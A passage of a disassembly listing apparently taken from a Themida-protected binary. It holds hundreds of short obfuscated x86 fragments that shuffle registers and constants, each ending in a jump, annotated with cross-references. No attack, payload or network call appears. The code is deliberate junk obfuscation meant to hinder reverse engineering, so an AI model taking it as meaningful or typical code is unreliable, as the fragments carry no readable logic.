Themida_:005A2644j xor [esp], ebx xor ebx, [esp] jmp loc_5AA64D ; --------------------------------------------------------------------------- loc_59F030: ; CODE XREF: Themida_:005AE2E0j push esp mov ebx, [esp] push esi push esp pop esi jmp loc_5AADAC ; --------------------------------------------------------------------------- loc_59F03C: ; CODE XREF: Themida_:005ADC4Bj add esi, ebx pop ebx sub esi, 4 xchg esi, [esp] jmp loc_59AAA1 ; --------------------------------------------------------------------------- loc_59F04D: ; CODE XREF: Themida_:005A20C8j xchg eax, esi not eax xchg eax, esi jmp loc_5A0865 ; --------------------------------------------------------------------------- loc_59F056: ; CODE XREF: Themida_:005ADC31j push 612Dh mov [esp], eax jmp loc_5A4701 ; --------------------------------------------------------------------------- loc_59F063: ; CODE XREF: Themida_:loc_59DF8Ej dec eax add eax, 2FB831E0h jp loc_5A221F add eax, 6C9912B4h jo loc_5A1A6C push ebp jmp loc_5A1459 ; --------------------------------------------------------------------------- loc_59F080: ; CODE XREF: Themida_:005A2D79j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_5AC035 ; --------------------------------------------------------------------------- loc_59F0B7: ; CODE XREF: Themida_:0059D96Aj mov bh, dh push dword ptr [esp] pop edx add esp, 4 push small 5AEFh mov [esp], cx jmp loc_5AD5F7 ; --------------------------------------------------------------------------- loc_59F0D0: ; CODE XREF: Themida_:005A0A83j mov esp, [esp] mov [esp], ecx jmp loc_5A43EB ; --------------------------------------------------------------------------- push 47Bh mov [esp], esi sub esp, 4 mov [esp], eax jmp loc_59D251 ; --------------------------------------------------------------------------- loc_59F0EE: ; CODE XREF: Themida_:0059F291j ; Themida_:005A7169j add edx, 68964CE5h jmp loc_5ADB42 ; --------------------------------------------------------------------------- loc_59F0F9: ; CODE XREF: Themida_:005AF80Fj jmp loc_5A2F7F ; --------------------------------------------------------------------------- loc_59F0FE: ; CODE XREF: Themida_:005AB0DBj push ecx jmp loc_5AAE02 ; --------------------------------------------------------------------------- loc_59F104: ; CODE XREF: Themida_:005ABB7Aj pop edx pop edx jmp loc_5ACB8F ; --------------------------------------------------------------------------- loc_59F10B: ; CODE XREF: Themida_:00598DA8j ; Themida_:005A6E30j mov ch, ah pop eax jmp loc_59C6BD ; --------------------------------------------------------------------------- loc_59F113: ; CODE XREF: Themida_:0059FFA7j sub ebp, 56D1F3E0h sub ecx, ebp pop ebp jmp loc_59DDA8 ; --------------------------------------------------------------------------- loc_59F121: ; CODE XREF: Themida_:005AB2C5j xchg edx, [esp] mov esp, [esp] mov [esp], cx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F130: ; CODE XREF: Themida_:005A003Ej pop edi add esp, 4 shr esi, 8 sub esp, 4 mov [esp], ebp mov ebp, 1F4D4B73h or esi, ebp jmp loc_5A9021 ; --------------------------------------------------------------------------- loc_59F14F: ; CODE XREF: Themida_:005A12D5j and ecx, 1E5131A5h jp loc_5AADE9 xor ecx, 39BE1492h sub ecx, 0FB73AB39h mov ebp, ecx mov ecx, [esp] add esp, 4 and ebp, 75621551h push ecx mov ecx, 1 sub ebp, 5BEC5527h add ebp, ecx add ebp, 5BEC5527h pop ecx jmp loc_5ADA6C ; --------------------------------------------------------------------------- loc_59F18F: ; CODE XREF: Themida_:0059E80Ej add bh, 41h sub bh, ch push edx mov dh, 0B2h dec dh neg dh shr dh, 1 add dh, 1Ah jmp loc_5A063D ; --------------------------------------------------------------------------- loc_59F1A5: ; CODE XREF: Themida_:005A63AFj mov al, 32h jmp loc_5AE05D ; --------------------------------------------------------------------------- loc_59F1AC: ; CODE XREF: Themida_:0059DB8Fj sub cl, 3Ch add bl, cl pop ecx push 5E30h mov [esp], edx mov dl, 78h inc dl add dl, 10h sub bl, dl pop edx pop ecx jmp loc_5AA86F ; --------------------------------------------------------------------------- loc_59F1CA: ; CODE XREF: Themida_:005A48CEj neg ebp jle loc_59FA4A jmp loc_5AE273 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ebp push ebx mov ebx, esp push ebp loc_59F1DF: ; CODE XREF: Themida_:0059D75Ej jmp loc_5AF2E4 ; --------------------------------------------------------------------------- loc_59F1E4: ; CODE XREF: Themida_:005AA77Cj mov ebp, 5F80FC0h push 6E0A709Ah jmp loc_5A48E8 ; --------------------------------------------------------------------------- loc_59F1F3: ; CODE XREF: Themida_:loc_59AFFDj neg ecx jg loc_5AAB49 dec ecx sub ecx, 0FF6EF760h add ecx, edi add [ecx], edx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5AA1D7 ; --------------------------------------------------------------------------- loc_59F215: ; CODE XREF: Themida_:005A9A3Aj mov dh, cl jmp loc_59C4FD ; --------------------------------------------------------------------------- loc_59F21C: ; CODE XREF: Themida_:0059BE99j mov ecx, 4 add ebx, ecx push dword ptr [esp] pop ecx add esp, 4 add ebx, 4 jmp loc_5A1F0A ; --------------------------------------------------------------------------- loc_59F235: ; CODE XREF: Themida_:loc_59D621j ; Themida_:005A0DBCj sub ecx, 37DB4994h jmp loc_5AE9A5 ; --------------------------------------------------------------------------- loc_59F240: ; CODE XREF: Themida_:005ABD68j push ecx jmp loc_5A7740 ; --------------------------------------------------------------------------- loc_59F246: ; CODE XREF: Themida_:0059AC36j xor ebx, 0E701C604h mov eax, ebx pop ebx add edx, 161917FEh sub edx, eax sub edx, 161917FEh pop eax push esi jmp loc_5ADD40 ; --------------------------------------------------------------------------- loc_59F264: ; CODE XREF: Themida_:005A31FEj push eax mov eax, esp add eax, 4 push ecx jmp loc_5AD0E3 ; --------------------------------------------------------------------------- loc_59F272: ; CODE XREF: Themida_:005A635Ej push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] jmp loc_5A1755 ; --------------------------------------------------------------------------- loc_59F281: ; CODE XREF: Themida_:005AB8CEj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F286: ; CODE XREF: Themida_:005ACC0Aj shr eax, 5 shr eax, 2 xor eax, 618B4EECh jmp loc_59F0EE ; --------------------------------------------------------------------------- loc_59F296: ; CODE XREF: Themida_:005AA6F3j push 0D5Ah mov [esp], esi jmp loc_5A903E ; --------------------------------------------------------------------------- loc_59F2A3: ; CODE XREF: Themida_:0059BC3Fj mov [esp], esi jmp loc_59D0CE ; --------------------------------------------------------------------------- loc_59F2AB: ; CODE XREF: Themida_:005A8EB2j pop ebp add ecx, 4 jmp loc_5ADE21 ; --------------------------------------------------------------------------- loc_59F2B4: ; CODE XREF: Themida_:005AE3BBj mov [esp], edx push ebx mov ebx, 265942E6h shl ebx, 5 push ebx inc dword ptr [esp] pop ebx shr ebx, 7 jz loc_5AC2B5 push esi mov esi, 0D6CCF76h add ebx, esi jmp loc_59BE7A ; --------------------------------------------------------------------------- loc_59F2DB: ; CODE XREF: Themida_:0059ACE3j mov ebp, esp add ebp, 4 push eax jmp loc_59C48D ; --------------------------------------------------------------------------- loc_59F2E9: ; CODE XREF: Themida_:0059CDD4j sub cl, 0EBh sub ah, cl pop ecx sub bl, 80h add bl, ah add bl, 80h pop eax add bl, al jmp loc_5AF660 ; --------------------------------------------------------------------------- loc_59F2FF: ; CODE XREF: Themida_:loc_59B00Bj ; Themida_:005A6AC9j sub eax, 0C85A3Bh jz loc_5AC8C5 shr eax, 4 jmp loc_59ED58 ; --------------------------------------------------------------------------- loc_59F312: ; CODE XREF: Themida_:005A528Fj mov ebp, 62470EB6h inc ebp or ebp, 7F325EABh neg ebp neg ebp xor ebp, 73C45B78h sub edi, ebp jmp loc_5A790B ; --------------------------------------------------------------------------- loc_59F32F: ; CODE XREF: Themida_:005A2044j ; Themida_:005ACCE1j mov esp, [esp] shr eax, 0Eh jmp loc_5A9686 ; --------------------------------------------------------------------------- loc_59F33A: ; CODE XREF: Themida_:loc_59993Fj push 1D1h mov [esp], ebx push 2B7Ah jmp loc_5A31F6 ; --------------------------------------------------------------------------- loc_59F34C: ; CODE XREF: Themida_:005AB58Bj mov edi, 78DD0C19h or eax, edi push dword ptr [esp] pop edi add esp, 4 push edi mov edi, 8A00AF7h and eax, edi pop edi push ecx mov ecx, 0F77FF74Fh jmp loc_59E5C2 ; --------------------------------------------------------------------------- loc_59F36E: ; CODE XREF: Themida_:005AC63Cj pop eax mov edi, edx pop edx push edx jmp loc_5A5279 ; --------------------------------------------------------------------------- loc_59F378: ; CODE XREF: Themida_:005A2AD7j mov [esp], ecx push edi mov edi, esp push ecx mov ecx, 51DA6929h add ecx, 7D0B19E1h shl ecx, 7 or ecx, 3B2F3876h shr ecx, 1 neg ecx jmp loc_5A20B0 ; --------------------------------------------------------------------------- loc_59F39C: ; CODE XREF: Themida_:005A18D7j push ebp push 580248E3h push dword ptr [esp] pop ebp add esp, 4 add dword ptr [esp+8], 1EA360DFh sub [esp+8], ebp jmp loc_59DF0D ; --------------------------------------------------------------------------- loc_59F3BA: ; CODE XREF: Themida_:0059C67Fj pop edi xchg ebx, [esp] pop esp sub [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F3C9: ; CODE XREF: Themida_:005A0215j mov ch, 2Ah jmp loc_5A0B3D ; --------------------------------------------------------------------------- loc_59F3D0: ; CODE XREF: Themida_:0059D32Cj pop eax add edx, ebp add edx, 62937519h mov ebp, [esp] add esp, 4 push eax mov eax, 4 sub edx, eax pop eax xor edx, [esp] jmp loc_59B2A8 ; --------------------------------------------------------------------------- loc_59F3F3: ; CODE XREF: Themida_:005A5144j ; Themida_:005A93A8j sub esp, 4 mov [esp], edx not dword ptr [esp] pop edx sub esp, 4 jmp loc_59CED3 ; --------------------------------------------------------------------------- loc_59F408: ; CODE XREF: Themida_:005AFB0Aj pop edi add eax, ecx jmp loc_59CA87 ; --------------------------------------------------------------------------- loc_59F410: ; CODE XREF: Themida_:005A10F7j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5AB197 ; --------------------------------------------------------------------------- loc_59F424: ; CODE XREF: Themida_:005A8E52j jmp loc_5AEBDE ; --------------------------------------------------------------------------- loc_59F429: ; CODE XREF: Themida_:005AA064j xchg edi, [esp] mov esp, [esp] add bl, 12h sub esp, 4 mov [esp], eax mov ah, 7Bh sub ah, 0FBh inc ah push bx push ecx mov ch, 0FDh jmp loc_5A3444 ; --------------------------------------------------------------------------- loc_59F44C: ; CODE XREF: Themida_:005A2F87j ; Themida_:005AE293j jmp loc_5AF588 ; --------------------------------------------------------------------------- loc_59F451: ; CODE XREF: Themida_:005A2A5Cj inc ecx xor ecx, 93A7A99Eh mov ebp, ecx pop ecx add ebx, ebp pop ebp pop edx push ebp push edi mov edi, 4 push edi pop ebp pop edi add ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_59953B ; --------------------------------------------------------------------------- loc_59F479: ; CODE XREF: Themida_:0059CCA8j push ebp pop ebx jmp loc_5A5AE5 ; --------------------------------------------------------------------------- loc_59F480: ; CODE XREF: Themida_:005A4CE1j ; Themida_:005AB1F3j mov [esp], edx push ecx mov ch, 0Eh sub esp, 4 mov [esp], eax jmp loc_5AC12C ; --------------------------------------------------------------------------- loc_59F491: ; CODE XREF: Themida_:005AD8ADj add edx, 8B327Ch add [edx], ecx pop edx jmp loc_5A40FA ; --------------------------------------------------------------------------- loc_59F49F: ; CODE XREF: Themida_:005AA11Ej shl ebx, 4 xor ebx, 64480044h mov ebp, ebx pop ebx add dword ptr [esp+4], 579D1D34h push edx mov edx, 516C5600h sub [esp+8], edx jmp loc_5A79E2 ; --------------------------------------------------------------------------- loc_59F4C2: ; CODE XREF: Themida_:0059B984j mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] idiv cx push small 419Eh mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59F4E4: ; CODE XREF: Themida_:005A9F0Dj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub edi, 3B6075A7h add edi, esi add edi, 3B6075A7h pop esi push eax jmp loc_5A982A ; --------------------------------------------------------------------------- loc_59F509: ; CODE XREF: Themida_:005A34B8j pop dword ptr [esp] pop esp sub esp, 2 mov [esp], cx mov cl, 7Eh jmp loc_59F7ED ; --------------------------------------------------------------------------- lodsb push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A0EE6 ; --------------------------------------------------------------------------- loc_59F52D: ; CODE XREF: Themida_:00599333j mov al, bh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push edx mov dl, al mov bh, dl pop edx mov dl, bh jmp loc_5A6DFF ; --------------------------------------------------------------------------- loc_59F54B: ; CODE XREF: Themida_:0059EF41j pop ebx sub esp, 4 mov [esp], eax mov eax, 4 push eax mov eax, 49B36512h sub ebx, eax pop eax add ebx, 30CE6006h jmp loc_5A67B1 ; --------------------------------------------------------------------------- loc_59F56E: ; CODE XREF: Themida_:00598CA4j push ebx mov ebx, 3D813C4Ah add edx, ebx pop ebx sub edx, 67E60059h jmp loc_598E45 ; --------------------------------------------------------------------------- loc_59F582: ; DATA XREF: Themida_:005986E4o mov ax, [esp] push eax jmp loc_5A2803 ; --------------------------------------------------------------------------- loc_59F58C: ; CODE XREF: Themida_:005A92A0j ; Themida_:005A98FAj mov [esp], edi jmp loc_5A7F27 ; --------------------------------------------------------------------------- loc_59F594: ; CODE XREF: Themida_:005A20ABj add esp, 4 or ecx, 3DE71044h sub ecx, 0FFFFFFFFh add ecx, 0AE4A4ED5h or ebp, ecx jmp loc_5AA6CB ; --------------------------------------------------------------------------- loc_59F5B3: ; CODE XREF: Themida_:005A0DABj mov ch, 1Ah jmp loc_5A0DC1 ; --------------------------------------------------------------------------- loc_59F5BA: ; CODE XREF: Themida_:005AF2A7j sub esp, 4 mov [esp], edx push esi push ebp push 106C4106h pop ebp xor ebp, 20A22100h mov esi, ebp jmp loc_5A80EC ; --------------------------------------------------------------------------- loc_59F5D8: ; CODE XREF: Themida_:005A8E75j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov eax, [esp] push ebp push esp jmp loc_59D8F4 ; --------------------------------------------------------------------------- loc_59F5FD: ; CODE XREF: Themida_:005A8979j xchg edx, [esp] pop esp sub dword ptr [esp], 136F2CB3h jmp loc_5A8D1C ; --------------------------------------------------------------------------- loc_59F60D: ; CODE XREF: Themida_:005AAB64j mov [esp], ecx sub esp, 4 mov [esp], edx push ebx mov bh, al mov dl, bh pop ebx sub esp, 4 mov [esp], ebx push eax mov ah, dl jmp loc_599FF8 ; --------------------------------------------------------------------------- loc_59F62D: ; CODE XREF: Themida_:005AF549j push 6802h mov [esp], edx jmp loc_59ADC0 ; --------------------------------------------------------------------------- loc_59F63A: ; CODE XREF: Themida_:005A05DAj mov ecx, 3767650h or ecx, 6A05046Fh neg ecx xor ecx, 0AC58B624h jmp loc_5A4276 ; --------------------------------------------------------------------------- loc_59F652: ; CODE XREF: Themida_:0059947Fj push eax push esp pop eax push 1412h mov [esp], edx push ebx push ecx push 0BB636F9h mov ecx, [esp] add esp, 4 add ecx, 18BF2BE5h jge loc_59A423 or ecx, 21BA3513h jns loc_5A3637 mov ebp, ebx pop ebp loc_59F685: ; CODE XREF: Themida_:loc_5A77C4j sub esp, 4 mov [esp], eax push edx push 95C7640h jmp loc_5ABD9E ; --------------------------------------------------------------------------- loc_59F699: ; CODE XREF: Themida_:0059EF2Ej add esi, edx jmp loc_59C38B ; --------------------------------------------------------------------------- loc_59F6A0: ; CODE XREF: Themida_:0059BE91j ; Themida_:005A87DDj mov edx, esp add edx, 4 jmp loc_59AD28 ; --------------------------------------------------------------------------- loc_59F6AD: ; CODE XREF: Themida_:005A93BBj push 4576h mov [esp], edx mov edx, 14AC43B5h push esi mov esi, 2E41130h jmp loc_59E440 ; --------------------------------------------------------------------------- loc_59F6C5: ; CODE XREF: Themida_:005ACE55j xor edi, 75B1EE0h xor edi, 1F0144B3h sub eax, edi jmp loc_59D2D8 ; --------------------------------------------------------------------------- loc_59F6D8: ; CODE XREF: Themida_:005AE492j xchg eax, [esp] pop esp mov [esp], edi mov edi, 2F060859h inc edi xor edi, 79987BF1h push ebx jmp loc_5A4B9C ; --------------------------------------------------------------------------- loc_59F6F1: ; CODE XREF: Themida_:0059AB7Fj pop esi mov ebx, [esp] jmp loc_5ADA98 ; --------------------------------------------------------------------------- loc_59F6FA: ; CODE XREF: Themida_:0059D3CBj push edx push ecx sub esp, 4 mov [esp], ebx mov bh, 0EDh jmp loc_5AA38D ; --------------------------------------------------------------------------- loc_59F709: ; CODE XREF: Themida_:0059BC80j add ebp, edi sub ebp, 4E451A3Dh push dword ptr [esp] push dword ptr [esp] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_5A1257 ; --------------------------------------------------------------------------- loc_59F731: ; CODE XREF: Themida_:005A6A77j pop eax push esi push ebp jmp loc_5AB1FB ; --------------------------------------------------------------------------- loc_59F739: ; CODE XREF: Themida_:0059DE3Bj mov edx, [esp] add esp, 4 add edx, 2CC107C9h jmp loc_5AD509 ; --------------------------------------------------------------------------- loc_59F74A: ; CODE XREF: Themida_:005AE2B1j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5A670C ; --------------------------------------------------------------------------- loc_59F756: ; CODE XREF: Themida_:005A5E46j xor eax, 7C158AEh jnb loc_5994C9 neg eax sub eax, 11F7667Ch jmp loc_59BB5C ; --------------------------------------------------------------------------- pop ax loc_59F76F: ; CODE XREF: Themida_:005A931Aj add edi, 35F8666Ch jmp loc_5AC1AD ; --------------------------------------------------------------------------- loc_59F77A: ; CODE XREF: Themida_:0059F85Ej add bh, 51h mov ch, bh mov ebx, [esp] add esp, 4 mov dl, ch mov ecx, [esp] add esp, 4 jmp loc_5AF399 ; --------------------------------------------------------------------------- loc_59F798: ; CODE XREF: Themida_:0059A717j add ebx, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 7741028Ah sub edi, 1 neg edi xor edi, 0D744C4Eh jmp loc_59CEEB ; --------------------------------------------------------------------------- loc_59F7BE: ; CODE XREF: Themida_:005ACC8Ej add al, dl jmp loc_5A6483 ; --------------------------------------------------------------------------- loc_59F7C5: ; CODE XREF: Themida_:00599A31j ; Themida_:005A5203j add esp, 4 add ecx, 4 jmp loc_5AB384 ; --------------------------------------------------------------------------- loc_59F7D3: ; CODE XREF: Themida_:0059A129j push ebp push ebx mov ebx, 22A52BF9h sub [esp+4], ebx pop ebx mov eax, [esp] add esp, 4 jmp loc_5AB7CF ; --------------------------------------------------------------------------- loc_59F7ED: ; CODE XREF: Themida_:0059F516j push ebx mov bh, 93h sub bh, 19h sub al, bh mov ebx, [esp] add esp, 4 sub al, cl push ecx mov ch, 29h sub ch, 0AFh push ebx mov bh, 93h add al, bh pop ebx add al, 0E9h jmp loc_59EB34 ; --------------------------------------------------------------------------- loc_59F813: ; CODE XREF: Themida_:0059C27Dj shr ecx, 2 jmp loc_5A2737 ; --------------------------------------------------------------------------- loc_59F81B: ; CODE XREF: Themida_:00598F88j ; Themida_:005A0C2Dj sub eax, ebp sub eax, 3F9F5F1Ah pop ebp jmp loc_5A9921 ; --------------------------------------------------------------------------- loc_59F828: ; CODE XREF: Themida_:005AB8DFj pop ebx not ebx push eax mov eax, 0FAE23FAh jmp loc_59D437 ; --------------------------------------------------------------------------- loc_59F836: ; CODE XREF: Themida_:005A823Ej add eax, ecx push ebp mov ebp, 2F511DC0h xor ebp, 5011523Dh jmp loc_5ADE02 ; --------------------------------------------------------------------------- loc_59F849: ; CODE XREF: Themida_:0059D183j sub esp, 4 jmp loc_5A2FE2 ; --------------------------------------------------------------------------- loc_59F854: ; CODE XREF: Themida_:loc_59DBA5j not ebp jmp loc_59AF1E ; --------------------------------------------------------------------------- loc_59F85B: ; CODE XREF: Themida_:005AA395j sub bh, 91h jp loc_59F77A add bh, 51h mov ch, bh mov ebx, [esp] or bl, 0D2h loc_59F86F: ; CODE XREF: Themida_:00599CD5j pop eax inc eax jmp loc_59C854 ; --------------------------------------------------------------------------- loc_59F876: ; CODE XREF: Themida_:005A4288j add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_59DF43 ; --------------------------------------------------------------------------- loc_59F88A: ; CODE XREF: Themida_:005AFD64j shr ebx, 7 js loc_5A0E38 xor ebx, 0D4CCDFBh jmp loc_598E87 ; --------------------------------------------------------------------------- loc_59F89E: ; CODE XREF: Themida_:005A6BF5j ; Themida_:005A8C36j sub bl, dl pop edx jmp loc_5A29ED ; --------------------------------------------------------------------------- loc_59F8A6: ; CODE XREF: Themida_:005A1C73j mov [esp], esp push esi mov esi, 4 add [esp+4], esi jmp loc_5A9763 ; --------------------------------------------------------------------------- loc_59F8B8: ; CODE XREF: Themida_:005ABE33j mov bl, 1Eh mov al, 0CEh sub al, bl pop ebx inc al neg al sub al, 0F5h push edx mov dl, 5Ah xor al, dl pop edx jmp loc_5A6BE1 ; --------------------------------------------------------------------------- loc_59F8D0: ; CODE XREF: Themida_:0059D5DBj mov esi, 0D60747h sub esi, 0FA37ED4Eh add edi, 6AAC3485h sub edi, esi jmp loc_5A1DC0 ; --------------------------------------------------------------------------- loc_59F8E8: ; CODE XREF: Themida_:005AF96Dj xor di, 656Eh jmp loc_5A944F ; --------------------------------------------------------------------------- loc_59F8F2: ; CODE XREF: Themida_:005A8BA4j push dword ptr [edi+eax*4] jmp loc_5ADDEB ; --------------------------------------------------------------------------- loc_59F8FA: ; CODE XREF: Themida_:005A39B1j dec edx jmp loc_5AF12D ; --------------------------------------------------------------------------- loc_59F900: ; CODE XREF: Themida_:005A5C46j mov edx, 4 add [esp+4], edx pop edx push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5AA61B ; --------------------------------------------------------------------------- loc_59F91E: ; CODE XREF: Themida_:005A3287j jnp loc_5AD168 sub ebp, 0A10B1669h add ebp, 0A7C2976Dh add ebx, 53355750h sub esp, 4 mov [esp], ebp push edx mov edx, 35425DF5h jmp loc_5A0162 ; --------------------------------------------------------------------------- loc_59F94A: ; CODE XREF: Themida_:0059CADEj add [esp+4], ebp mov ebp, [esp] add esp, 4 jmp loc_59BCFE ; --------------------------------------------------------------------------- loc_59F95C: ; CODE XREF: Themida_:005A5D7Aj push edi mov edi, 1B8709A1h mov ebx, edi jmp loc_59B618 ; --------------------------------------------------------------------------- loc_59F969: ; CODE XREF: Themida_:005A25E6j ; Themida_:005A70CFj not al jmp loc_5A08D2 ; --------------------------------------------------------------------------- loc_59F970: ; CODE XREF: Themida_:005A1189j ; Themida_:005A517Bj push edi push eax mov eax, 64C5446Dh add eax, 7C245BD3h jnb loc_5A5E44 neg eax ja loc_5AD51A xor eax, 7C158AEh pop ebp loc_59F990: ; CODE XREF: Themida_:005ADF7Cj mov edi, 78C26A6Bh sub ebp, edi pop edi add ebp, 0E2444E38h add edx, ebp pop ebp xor edx, [esp] xor [esp], edx jmp loc_5A93B7 ; --------------------------------------------------------------------------- loc_59F9AC: ; CODE XREF: Themida_:005AFD7Bj pop ebx shl edx, 7 shr edx, 1 push ebp mov ebp, 184F4666h and ebp, 335549FDh jmp loc_59B4E8 ; --------------------------------------------------------------------------- loc_59F9C3: ; CODE XREF: Themida_:005A064Bj sub dh, bh mov ebx, [esp] add esp, 4 push eax jmp loc_5AFAB0 ; --------------------------------------------------------------------------- loc_59F9D4: ; CODE XREF: Themida_:005AA66Cj mov [esp], ebx push esp mov ebx, [esp] jmp loc_5A8915 ; --------------------------------------------------------------------------- loc_59F9E0: ; CODE XREF: Themida_:005A0DDAj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], esi push esp mov esi, [esp] jmp loc_5AC30C ; --------------------------------------------------------------------------- loc_59FA08: ; CODE XREF: Themida_:0059B893j add ebx, eax sub ebx, 192804C4h pop eax jmp loc_5A201D ; --------------------------------------------------------------------------- loc_59FA16: ; CODE XREF: Themida_:0059A4E2j xor ebx, 73DA5DECh jmp loc_5A95BB ; --------------------------------------------------------------------------- loc_59FA21: ; CODE XREF: Themida_:0059CC8Aj push edi push 53D6h mov [esp], eax push esi push eax push 67067BCDh pop eax jmp loc_5A068A ; --------------------------------------------------------------------------- loc_59FA37: ; CODE XREF: Themida_:005ADFD6j sub esi, 62222172h add esi, 0B10412Bh add esi, eax jmp loc_599B26 ; --------------------------------------------------------------------------- loc_59FA4A: ; CODE XREF: Themida_:0059F1CCj jmp loc_5A70C7 ; --------------------------------------------------------------------------- loc_59FA4F: ; CODE XREF: Themida_:0059E243j push dword ptr [esp] pop ebp push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp push eax mov eax, 56EF6773h jmp loc_5A917F ; --------------------------------------------------------------------------- loc_59FA6A: ; CODE XREF: Themida_:005A94F8j add ebx, 354166h jnp loc_5AD014 push 39FEh mov [esp], edi jmp loc_5A44D7 ; --------------------------------------------------------------------------- loc_59FA83: ; CODE XREF: Themida_:005ADAB1j push ecx mov ecx, 0F7EFF803h jmp loc_5AC2A3 ; --------------------------------------------------------------------------- loc_59FA8E: ; CODE XREF: Themida_:0059B9C6j mov [esp], esi push ecx mov ecx, edi jmp loc_5A22A4 ; --------------------------------------------------------------------------- loc_59FA99: ; CODE XREF: Themida_:0059C494j mov eax, [esp] jmp loc_5A7200 ; --------------------------------------------------------------------------- loc_59FAA1: ; CODE XREF: Themida_:005ABF2Bj pop dword ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59FAA8: ; CODE XREF: Themida_:005A6E62j not edi push ebx mov ebx, 0DF82B06h or edi, ebx jmp loc_5A4A1C ; --------------------------------------------------------------------------- loc_59FAB7: ; CODE XREF: Themida_:0059EAB5j mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax xor dword ptr [esp], 6B9430C3h mov ecx, [esp] add esp, 4 push edx sub esp, 4 mov [esp], eax push 36AB0134h jmp loc_59A99B ; --------------------------------------------------------------------------- loc_59FAF3: ; CODE XREF: Themida_:005A7DF6j pop eax sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edx push esp pop edx push eax push esp jmp loc_5A3D52 ; --------------------------------------------------------------------------- loc_59FB0C: ; CODE XREF: Themida_:005A86E5j sub ebx, 3BA31BD9h sub esp, 4 mov [esp], esi mov esi, 20CE1540h xor esi, 7EC3578Dh jmp loc_5AC417 ; --------------------------------------------------------------------------- loc_59FB28: ; CODE XREF: Themida_:loc_59E614j sub eax, 0D9C350C9h mov ebx, eax jmp loc_5A233A ; --------------------------------------------------------------------------- loc_59FB34: ; CODE XREF: Themida_:0059BF29j mov ebp, edx pop edx add edx, ebp pop ebp or edx, 7424A45h jmp loc_5ADE29 ; --------------------------------------------------------------------------- loc_59FB45: ; CODE XREF: Themida_:005A76C6j shr ecx, 7 push 0CBCh mov [esp], ecx push ebx pop ecx jmp loc_5A090D ; --------------------------------------------------------------------------- loc_59FB57: ; CODE XREF: Themida_:005ABEEFj mov edi, eax pop eax jmp loc_5AC3D1 ; --------------------------------------------------------------------------- loc_59FB5F: ; CODE XREF: Themida_:005A5D62j shr ebx, 2 add ebx, 38666E13h add ebx, 0FFFFFFFFh add ebx, 0D470EDDh xor ebx, 18672E97h sub ecx, ebx pop ebx sub ecx, ebp push ebp mov ebp, 5E30229Dh add ecx, ebp pop ebp mov ebp, [esp] add esp, 4 pop eax jmp loc_5AAC43 ; --------------------------------------------------------------------------- loc_59FB94: ; CODE XREF: Themida_:005A62C6j add edi, eax pop eax jmp loc_5A27EF ; --------------------------------------------------------------------------- loc_59FB9C: ; CODE XREF: Themida_:005AE1D1j xor edi, 317E573Fh jmp loc_59B1A3 ; --------------------------------------------------------------------------- loc_59FBA7: ; CODE XREF: Themida_:005A641Aj push edx mov edx, 4 mov eax, edx pop edx sub esp, 4 mov [esp], ebx mov ebx, eax mov edx, ebx pop ebx push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ecx mov ecx, 18042BFAh add eax, ecx pop ecx add eax, 75DA75EFh add eax, edx sub eax, 75DA75EFh sub eax, 18042BFAh pop edx jmp loc_59B738 ; --------------------------------------------------------------------------- loc_59FBF3: ; CODE XREF: Themida_:0059BE9Fj pop dword ptr [esp] jmp loc_5A2A06 ; --------------------------------------------------------------------------- loc_59FBFB: ; CODE XREF: Themida_:005AD359j dec ebp jl loc_59B56F neg ebp push ebx jmp loc_5ABC4F ; --------------------------------------------------------------------------- loc_59FC0A: ; CODE XREF: Themida_:005A01A6j push dword ptr [esp] pop edi add esp, 4 push esi push dword ptr [esp+4] jmp loc_5A6966 ; --------------------------------------------------------------------------- loc_59FC1E: ; CODE XREF: Themida_:005ACD27j xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_5A2D65 ; --------------------------------------------------------------------------- loc_59FC2A: ; CODE XREF: Themida_:005AD6F3j js loc_5AA7C8 push edx push ecx mov ch, 51h neg ch xor ch, 0CBh mov ch, 93h xor al, 8Ch loc_59FC3D: ; CODE XREF: Themida_:005A0BADj pop ebx jmp loc_5AF355 ; --------------------------------------------------------------------------- loc_59FC43: ; CODE XREF: Themida_:0059A910j push edx mov edx, 0BF11FCEh jmp loc_59A830 ; --------------------------------------------------------------------------- loc_59FC4E: ; CODE XREF: Themida_:005AF346j push edx mov edx, 4 add edi, edx mov edx, [esp] jmp loc_59E6C9 ; --------------------------------------------------------------------------- loc_59FC5E: ; CODE XREF: Themida_:0059C9F5j sub ecx, 45673DD3h jmp 